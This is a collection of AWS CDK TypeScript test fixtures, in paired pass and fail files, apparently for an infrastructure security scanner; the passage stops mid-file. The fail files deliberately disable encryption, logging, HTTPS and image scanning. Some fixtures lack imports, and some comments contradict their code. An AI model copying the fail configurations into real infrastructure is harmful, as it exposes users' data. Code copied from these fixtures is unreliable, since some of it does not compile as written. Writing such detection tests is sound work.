FILE: cdk_integration_tests/src/typescript/ECRImageScanning/fail.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as ecr from 'aws-cdk-lib/aws-ecr'; import {Construct} from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const repository = new ecr.Repository(this, 'Repo', {} ); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/ECRImageScanning/pass.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as ecr from 'aws-cdk-lib/aws-ecr'; import {Construct} from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const repository = new ecr.Repository(this, 'Repo', { imageScanOnPush: true } ); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/ECRImmutableTags/fail.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as ecr from 'aws-cdk-lib/aws-ecr'; import {Construct} from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const repository = new ecr.Repository(this, 'Repo', {} ); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/ECRImmutableTags/pass.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as ecr from 'aws-cdk-lib/aws-ecr'; import {Construct} from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const repository = new ecr.Repository(this, 'Repo', { imageTagMutability: ecr.TagMutability.IMMUTABLE }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/ECRRepositoryEncrypted/fail.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as ecr from 'aws-cdk-lib/aws-ecr'; import {Construct} from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const repository = new ecr.Repository(this, 'Repo', {} ); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/ECRRepositoryEncrypted/pass.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as ecr from 'aws-cdk-lib/aws-ecr'; import {Construct} from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const repository = new ecr.Repository(this, 'Repo', { encryption: ecr.RepositoryEncryption.KMS }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/ECRRepositoryEncrypted/pass_2.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as ecr from 'aws-cdk-lib/aws-ecr'; import {Construct} from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const repository = new ecr.Repository(this, 'Repo', { encryptionKey: new kms.Key(this, 'Key') }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/ECSClusterContainerInsights/fail.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as ecs from 'aws-cdk-lib/aws-ecs'; import * as ec2 from 'aws-cdk-lib/aws-ec2'; import {Construct} from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const vpc = new ec2.Vpc(this, 'Vpc', {maxAzs: 1}); const cluster = new ecs.Cluster(this, 'EcsCluster', {vpc}); const cluster2 = new ecs.Cluster(this, 'EcsCluster2', {vpc, containerInsights: false}); const cluster3 = new ecs.Cluster(this, 'EcsCluster3', {vpc, containerInsightsV2: ecs.ContainerInsights.DISABLED}); const cluster4 = new ecs.CfnCluster(this, 'EcsCluster4', {clusterSettings: []}); const cluster5 = new ecs.CfnCluster(this, 'EcsCluster5', {clusterSettings: [{name: 'containerInsights', value: 'disabled'}]}); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/ECSClusterContainerInsights/pass.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as ecs from 'aws-cdk-lib/aws-ecs'; import * as ec2 from 'aws-cdk-lib/aws-ec2'; import {Construct} from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const vpc = new ec2.Vpc(this, 'Vpc', {maxAzs: 1}); const cluster = new ecs.Cluster(this, 'EcsCluster', {vpc, containerInsights: true}); const cluster2 = new ecs.Cluster(this, 'EcsCluster2', {vpc, containerInsightsV2: ecs.ContainerInsights.ENABLED}); const cluster3 = new ecs.Cluster(this, 'EcsCluster6', {vpc, containerInsightsV2: ecs.ContainerInsights.ENHANCED}); const cluster4 = new ecs.CfnCluster(this, 'EcsCluster4', {clusterSettings: [{name: 'containerInsights', value: 'enabled'}]}); const cluster5 = new ecs.CfnCluster(this, 'EcsCluster5', {clusterSettings: [{value: 'enhanced', name: 'containerInsights'}]}); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/ECSTaskDefinitionEFSVolumeEncryption/fail.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as ecs from 'aws-cdk-lib/aws-ecs'; import {Construct} from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const taskDefinition = new ecs.Ec2TaskDefinition(this, 'TaskDef', { volumes: [ { name:"my-volume", efsVolumeConfiguration:{ transitEncryption: "DISABLED" } } ] }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/ECSTaskDefinitionEFSVolumeEncryption/fail_2.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as ecs from 'aws-cdk-lib/aws-ecs'; import {Construct} from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const taskDefinition = new ecs.FargateTaskDefinition(this, 'TaskDef', { volumes: [ { name:"my-volume", efsVolumeConfiguration:{ transitEncryption: "DISABLED" } } ] }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/ECSTaskDefinitionEFSVolumeEncryption/pass.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as ecs from 'aws-cdk-lib/aws-ecs'; import {Construct} from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const taskDefinition = new ecs.Ec2TaskDefinition(this, 'TaskDef', { volumes: [ { name:"my-volume", efsVolumeConfiguration:{ transitEncryption: "ENABLED" } } ] }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/EFSEncryptionEnabled/fail.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as ec2 from 'aws-cdk-lib/aws-ec2'; import * as efs from 'aws-cdk-lib/aws-efs'; import {Construct} from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const fileSystem = new efs.FileSystem(this, 'MyEfsFileSystem', { vpc: new ec2.Vpc(this, 'VPC') }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/EFSEncryptionEnabled/pass.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as ec2 from 'aws-cdk-lib/aws-ec2'; import * as efs from 'aws-cdk-lib/aws-efs'; import {Construct} from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const fileSystem = new efs.FileSystem(this, 'MyEfsFileSystem', { vpc: new ec2.Vpc(this, 'VPC'), encrypted: true }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/EKSSecretsEncryption/fail.ts ================================================ import * as cdk from 'aws-cdk-lib'; import {aws_eks as eks} from 'aws-cdk-lib'; import {Construct} from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const cfnCluster = new eks.CfnCluster(this, 'MyCfnCluster', { resourcesVpcConfig: { subnetIds: ['subnetIds'] }, roleArn: 'roleArn', name: 'name', version: 'version' }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/EKSSecretsEncryption/pass.ts ================================================ import * as cdk from 'aws-cdk-lib'; import {aws_eks as eks} from 'aws-cdk-lib'; import {Construct} from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const cfnCluster = new eks.CfnCluster(this, 'MyCfnCluster', { resourcesVpcConfig: { subnetIds: ['subnetIds'] }, roleArn: 'roleArn', encryptionConfig: [{ resources: ['secrets'] }], name: 'name', version: 'version' }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/ELBAccessLogs/fail.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as ec2 from 'aws-cdk-lib/aws-ec2'; import * as elb from 'aws-cdk-lib/aws-elasticloadbalancing'; import {Construct} from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const vpc = new ec2.Vpc(this, 'VPC') const lb = new elb.LoadBalancer(this, 'LB', { vpc }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/ELBAccessLogs/pass.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as ec2 from 'aws-cdk-lib/aws-ec2'; import * as elb from 'aws-cdk-lib/aws-elasticloadbalancing'; import {Construct} from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const vpc = new ec2.Vpc(this, 'VPC') const lb = new elb.LoadBalancer(this, 'LB', { vpc, accessLoggingPolicy: { enabled: true } }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/ELBv2AccessLogs/fail.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as ec2 from 'aws-cdk-lib/aws-ec2'; import * as s3 from 'aws-cdk-lib/aws-s3'; import * as elbv2 from 'aws-cdk-lib/aws-elasticloadbalancingv2'; import {Construct} from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const vpc = new ec2.Vpc(this, 'VPC') const lb = new elbv2.ApplicationLoadBalancer(this, 'LB', { vpc }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/ELBv2AccessLogs/pass.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as ec2 from 'aws-cdk-lib/aws-ec2'; import * as s3 from 'aws-cdk-lib/aws-s3'; import * as elbv2 from 'aws-cdk-lib/aws-elasticloadbalancingv2'; import {Construct} from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const vpc = new ec2.Vpc(this, 'VPC') const loggingBucket = new s3.Bucket(this, 'loggingBucket', { encryption: s3.BucketEncryption.S3_MANAGED, }); const lb = new elbv2.ApplicationLoadBalancer(this, 'LB', { vpc }); lb.logAccessLogs(loggingBucket); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/ElasticacheReplicationGroupEncryptionAtRest/fail.ts ================================================ import * as cdk from 'aws-cdk-lib'; import {aws_elasticache as elasticache} from 'aws-cdk-lib'; import {Construct} from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const cfnReplicationGroup = new elasticache.CfnReplicationGroup(this, 'MyCfnReplicationGroup', { replicationGroupDescription: 'replicationGroupDescription', }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/ElasticacheReplicationGroupEncryptionAtRest/pass.ts ================================================ import * as cdk from 'aws-cdk-lib'; import {aws_elasticache as elasticache} from 'aws-cdk-lib'; import {Construct} from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const cfnReplicationGroup = new elasticache.CfnReplicationGroup(this, 'MyCfnReplicationGroup', { replicationGroupDescription: 'replicationGroupDescription', atRestEncryptionEnabled: true, }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/ElasticacheReplicationGroupEncryptionAtTransit/fail.ts ================================================ import * as cdk from 'aws-cdk-lib'; import {aws_elasticache as elasticache} from 'aws-cdk-lib'; import {Construct} from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const cfnReplicationGroup = new elasticache.CfnReplicationGroup(this, 'MyCfnReplicationGroup', { replicationGroupDescription: 'replicationGroupDescription', }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/ElasticacheReplicationGroupEncryptionAtTransit/pass.ts ================================================ import * as cdk from 'aws-cdk-lib'; import {aws_elasticache as elasticache} from 'aws-cdk-lib'; import {Construct} from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const cfnReplicationGroup = new elasticache.CfnReplicationGroup(this, 'MyCfnReplicationGroup', { replicationGroupDescription: 'replicationGroupDescription', transitEncryptionEnabled: true }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/ElasticacheReplicationGroupEncryptionAtTransitAuthToken/fail.ts ================================================ import * as cdk from 'aws-cdk-lib'; import {aws_elasticache as elasticache} from 'aws-cdk-lib'; import {Construct} from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const cfnReplicationGroup = new elasticache.CfnReplicationGroup(this, 'MyCfnReplicationGroup', { replicationGroupDescription: 'replicationGroupDescription', }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/ElasticacheReplicationGroupEncryptionAtTransitAuthToken/pass.ts ================================================ import * as cdk from 'aws-cdk-lib'; import {aws_elasticache as elasticache} from 'aws-cdk-lib'; import {Construct} from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const cfnReplicationGroup = new elasticache.CfnReplicationGroup(this, 'MyCfnReplicationGroup', { replicationGroupDescription: 'replicationGroupDescription', transitEncryptionEnabled: true, authToken: 'token' }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/ElasticacheReplicationGroupEncryptionAtTransitAuthToken/pass_2.ts ================================================ import * as cdk from 'aws-cdk-lib'; import {aws_elasticache as elasticache} from 'aws-cdk-lib'; import {Construct} from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const cfnReplicationGroup = new elasticache.CfnReplicationGroup(this, 'MyCfnReplicationGroup', { replicationGroupDescription: 'replicationGroupDescription', authToken: 'token', transitEncryptionEnabled: true, }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/ElasticsearchDomainEnforceHTTPS/fail.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as es from 'aws-cdk-lib/aws-elasticsearch'; import * as opensearch from 'aws-cdk-lib/aws-opensearchservice'; import {Construct} from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const domain = new es.Domain(this, 'Domain', { version: es.ElasticsearchVersion.V7_4 }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/ElasticsearchDomainEnforceHTTPS/fail_2.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as opensearch from 'aws-cdk-lib/aws-opensearchservice'; import {Construct} from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const domain = new opensearch.Domain(this, 'Domain', { version: es.ElasticsearchVersion.V7_4 }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/ElasticsearchDomainEnforceHTTPS/pass.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as es from 'aws-cdk-lib/aws-elasticsearch'; import {Construct} from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const domain = new es.Domain(this, 'Domain', { version: es.ElasticsearchVersion.V7_4, enforceHttps: true }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/ElasticsearchDomainEnforceHTTPS/pass_2.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as opensearch from 'aws-cdk-lib/aws-opensearchservice'; import {Construct} from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const domain = new opensearch.Domain(this, 'Domain', { version: es.ElasticsearchVersion.V7_4, enforceHttps: true }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/ElasticsearchDomainLogging/fail.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as es from 'aws-cdk-lib/aws-elasticsearch'; import * as opensearch from 'aws-cdk-lib/aws-opensearchservice'; import {Construct} from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const domain = new es.Domain(this, 'Domain', { version: es.ElasticsearchVersion.V7_4 }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/ElasticsearchDomainLogging/fail_2.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as opensearch from 'aws-cdk-lib/aws-opensearchservice'; import {Construct} from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const domain = new opensearch.Domain(this, 'Domain', { version: es.ElasticsearchVersion.V7_4 }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/ElasticsearchDomainLogging/pass.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as es from 'aws-cdk-lib/aws-elasticsearch'; import {Construct} from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const domain = new es.Domain(this, 'Domain', { version: es.ElasticsearchVersion.V7_4, logging: { appLogEnabled: true } }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/ElasticsearchDomainLogging/pass_2.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as opensearch from 'aws-cdk-lib/aws-opensearchservice'; import {Construct} from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const domain = new opensearch.Domain(this, 'Domain', { version: es.ElasticsearchVersion.V7_4, logging: { appLogEnabled: true } }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/ElasticsearchEncryption/fail.ts ================================================ // The code below shows an example of how to instantiate this type. // The values are placeholders you should change. import {aws_elasticsearch as elasticsearch} from 'aws-cdk-lib'; const encryptionAtRestOptionsProperty1: elasticsearch.CfnDomain.EncryptionAtRestOptionsProperty = { enabled: false, kmsKeyId: 'kmsKeyId', }; let encryptionAtRestOptionsProperty2: elasticsearch.CfnDomain.EncryptionAtRestOptionsProperty = { enabled: false, }; ================================================ FILE: cdk_integration_tests/src/typescript/ElasticsearchEncryption/fail2.ts ================================================ import {aws_elasticsearch as elasticsearch} from 'aws-cdk-lib'; const domain = new elasticsearch.CfnDomain(this, 'MyElasticsearchDomain', { encryptionAtRestOptions: { enabled: false, // Enable encryption at rest kmsKeyId: 'your-KMS-key-ID', // Specify your KMS key ID } }); const domain2 = new elasticsearch.CfnDomain(this, 'MyElasticsearchDomain', { encryptionAtRestOptions: { enabled: false, // Enable encryption at rest } }); ================================================ FILE: cdk_integration_tests/src/typescript/ElasticsearchEncryption/pass.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as elasticsearch from 'aws-cdk-lib/aws-elasticsearch'; const domain = new elasticsearch.CfnDomain(this, 'MyElasticsearchDomain', { encryptionAtRestOptions: { enabled: true, // Enable encryption at rest kmsKeyId: 'your-KMS-key-ID', // Specify your KMS key ID }, }); const domain3 = new elasticsearch.CfnDomain(this, 'MyElasticsearchDomain', { encryptionAtRestOptions: { enabled: true, // Enable encryption at rest } }); const encryptionAtRestOptionsProperty3: elasticsearch.CfnDomain.EncryptionAtRestOptionsProperty = { enabled: true, }; ================================================ FILE: cdk_integration_tests/src/typescript/ElasticsearchNodeToNodeEncryption/fail.ts ================================================ // The code below shows an example of how to instantiate this type. // The values are placeholders you should change. import { aws_elasticsearch as elasticsearch } from 'aws-cdk-lib'; const encryptionAtRestOptionsProperty1: elasticsearch.CfnDomain.NodeToNodeEncryptionOptionsProperty = { enabled: false, }; let encryptionAtRestOptionsProperty2: elasticsearch.CfnDomain.NodeToNodeEncryptionOptionsProperty = { enabled: false, }; ================================================ FILE: cdk_integration_tests/src/typescript/ElasticsearchNodeToNodeEncryption/fail2.ts ================================================ import { aws_elasticsearch as elasticsearch } from 'aws-cdk-lib'; const domain = new elasticsearch.CfnDomain(this, 'MyElasticsearchDomain', { nodeToNodeEncryptionOptions: { enabled: false, // Enable encryption at rest kmsKeyId: 'your-KMS-key-ID', // Specify your KMS key ID } }); const domain2 = new elasticsearch.CfnDomain(this, 'MyElasticsearchDomain', { nodeToNodeEncryptionOptions: { enabled: false, // Enable encryption at rest } }); ================================================ FILE: cdk_integration_tests/src/typescript/ElasticsearchNodeToNodeEncryption/pass.ts ================================================ import { aws_elasticsearch as elasticsearch } from 'aws-cdk-lib'; const domain = new elasticsearch.CfnDomain(this, 'MyElasticsearchDomain', { nodeToNodeEncryptionOptions: { enabled: true, // Enable encryption at rest }, }); const domain3 = new elasticsearch.CfnDomain(this, 'MyElasticsearchDomain', { nodeToNodeEncryptionOptions: { enabled: true, // Enable encryption at rest } }); const encryptionAtRestOptionsProperty3: elasticsearch.CfnDomain.NodeToNodeEncryptionOptionsProperty = { enabled: true, }; ================================================ FILE: cdk_integration_tests/src/typescript/GlueDataCatalogEncryption/fail.ts ================================================ // The code below shows an example of how to instantiate this type. // The values are placeholders you should change. import {aws_glue as glue} from 'aws-cdk-lib'; const cfnDataCatalogEncryptionSettingsProps1: glue.CfnDataCatalogEncryptionSettingsProps = { catalogId: 'catalogId', dataCatalogEncryptionSettings: { connectionPasswordEncryption: { kmsKeyId: 'kmsKeyId', returnConnectionPasswordEncrypted: false, }, encryptionAtRest: { catalogEncryptionMode: 'DISABLED', catalogEncryptionServiceRole: 'catalogEncryptionServiceRole', sseAwsKmsKeyId: 'sseAwsKmsKeyId', }, }, }; let cfnDataCatalogEncryptionSettingsProps2: glue.CfnDataCatalogEncryptionSettingsProps = { catalogId: 'catalogId', dataCatalogEncryptionSettings: { connectionPasswordEncryption: { returnConnectionPasswordEncrypted: true, }, }, encryptionAtRest: { catalogEncryptionMode: 'DISABLED', catalogEncryptionServiceRole: 'catalogEncryptionServiceRole', sseAwsKmsKeyId: 'sseAwsKmsKeyId', }, }; ================================================ FILE: cdk_integration_tests/src/typescript/GlueDataCatalogEncryption/fail2.ts ================================================ import { aws_glue as glue } from 'aws-cdk-lib'; const cfnDataCatalogEncryptionSettings = new glue.CfnDataCatalogEncryptionSettings(this, 'MyCfnDataCatalogEncryptionSettings', { catalogId: 'catalogId', dataCatalogEncryptionSettings: { connectionPasswordEncryption: { kmsKeyId: 'kmsKeyId', returnConnectionPasswordEncrypted: false, }, encryptionAtRest: { catalogEncryptionMode: 'SSE-KMS', catalogEncryptionServiceRole: 'catalogEncryptionServiceRole', sseAwsKmsKeyId: 'sseAwsKmsKeyId', }, }, }); const cfnDataCatalogEncryptionSettings2 = new glue.CfnDataCatalogEncryptionSettings(this, 'MyCfnDataCatalogEncryptionSettings', { catalogId: 'catalogId', dataCatalogEncryptionSettings: { connectionPasswordEncryption: { returnConnectionPasswordEncrypted: true, }, encryptionAtRest: { catalogEncryptionMode: 'DISABLED', catalogEncryptionServiceRole: 'catalogEncryptionServiceRole', sseAwsKmsKeyId: 'sseAwsKmsKeyId', }, }, }); ================================================ FILE: cdk_integration_tests/src/typescript/GlueDataCatalogEncryption/pass.ts ================================================ import { aws_glue as glue } from 'aws-cdk-lib'; const cfnDataCatalogEncryptionSettings = new glue.CfnDataCatalogEncryptionSettings(this, 'MyCfnDataCatalogEncryptionSettings', { catalogId: 'catalogId', dataCatalogEncryptionSettings: { connectionPasswordEncryption: { kmsKeyId: 'kmsKeyId', returnConnectionPasswordEncrypted: true, }, encryptionAtRest: { catalogEncryptionMode: "SSE-KMS", catalogEncryptionServiceRole: 'catalogEncryptionServiceRole', sseAwsKmsKeyId: 'sseAwsKmsKeyId', }, }, }); const cfnDataCatalogEncryptionSettingsProps: glue.CfnDataCatalogEncryptionSettingsProps = { catalogId: 'catalogId', dataCatalogEncryptionSettings: { connectionPasswordEncryption: { kmsKeyId: 'kmsKeyId', returnConnectionPasswordEncrypted: true, }, encryptionAtRest: { catalogEncryptionMode : "SSE-KMS", catalogEncryptionServiceRole: 'catalogEncryptionServiceRole', sseAwsKmsKeyId: 'sseAwsKmsKeyId', }, }, }; ================================================ FILE: cdk_integration_tests/src/typescript/GlueSecurityConfiguration/fail.ts ================================================ import { aws_glue as glue } from 'aws-cdk-lib'; const cfnSecurityConfigurationProps1: glue.CfnSecurityConfigurationProps = { encryptionConfiguration: { cloudWatchEncryption: { cloudWatchEncryptionMode: 'SSE-KMS', kmsKeyArn: 'kmsKeyArn', }, jobBookmarksEncryption: { jobBookmarksEncryptionMode: 'DISABLE', kmsKeyArn: 'kmsKeyArn', }, s3Encryptions: [], }, name: 'name', }; const cfnSecurityConfigurationProps2: glue.CfnSecurityConfigurationProps = { encryptionConfiguration: { cloudWatchEncryption: { cloudWatchEncryptionMode: 'SSE-KMS', kmsKeyArn: 'kmsKeyArn', }, jobBookmarksEncryption: { jobBookmarksEncryptionMode: 'DISABLE', kmsKeyArn: 'kmsKeyArn', }, s3Encryptions: [{ s3EncryptionMode: "SSE-S3" }], }, name: 'name', }; const cfnSecurityConfigurationProps3: glue.CfnSecurityConfigurationProps = { encryptionConfiguration: { cloudWatchEncryption: { cloudWatchEncryptionMode: 'SSE-KMS', kmsKeyArn: 'kmsKeyArn', }, jobBookmarksEncryption: { jobBookmarksEncryptionMode: 'DISABLE', kmsKeyArn: 'kmsKeyArn', }, s3Encryptions: [{ s3EncryptionMode: "SSE-KMS" }], }, name: 'name', }; const cfnSecurityConfigurationProps4: glue.CfnSecurityConfigurationProps = { encryptionConfiguration: { cloudWatchEncryption: { cloudWatchEncryptionMode: 'SSE-KMS', kmsKeyArn: 'kmsKeyArn', }, jobBookmarksEncryption: { jobBookmarksEncryptionMode: 'DISABLE', kmsKeyArn: 'kmsKeyArn', }, s3Encryptions: [{ s3EncryptionMode: "DISABLE" }], }, name: 'name', }; const cfnSecurityConfigurationProps5: glue.CfnSecurityConfigurationProps = { encryptionConfiguration: { cloudWatchEncryption: { cloudWatchEncryptionMode: 'DISABLE', kmsKeyArn: 'kmsKeyArn', }, jobBookmarksEncryption: { jobBookmarksEncryptionMode: 'CSE-KMS', kmsKeyArn: 'kmsKeyArn', }, s3Encryptions: [{ s3EncryptionMode: "DISABLE" }], }, name: 'name', }; const cfnSecurityConfigurationProps6: glue.CfnSecurityConfigurationProps = { encryptionConfiguration: { cloudWatchEncryption: { cloudWatchEncryptionMode: 'DISABLE', kmsKeyArn: 'kmsKeyArn', }, jobBookmarksEncryption: { jobBookmarksEncryptionMode: 'CSE-KMS', kmsKeyArn: 'kmsKeyArn', }, s3Encryptions: [{ s3EncryptionMode: "SSE-S3" }], }, name: 'name', }; const cfnSecurityConfigurationProps7: glue.CfnSecurityConfigurationProps = { encryptionConfiguration: { cloudWatchEncryption: { cloudWatchEncryptionMode: 'DISABLE', kmsKeyArn: 'kmsKeyArn', }, jobBookmarksEncryption: { jobBookmarksEncryptionMode: 'CSE-KMS', kmsKeyArn: 'kmsKeyArn', }, s3Encryptions: [{ s3EncryptionMode: "SSE-KMS" }], }, name: 'name', }; const cfnSecurityConfigurationProps8: glue.CfnSecurityConfigurationProps = { encryptionConfiguration: { cloudWatchEncryption: { cloudWatchEncryptionMode: 'SSE-KMS', kmsKeyArn: 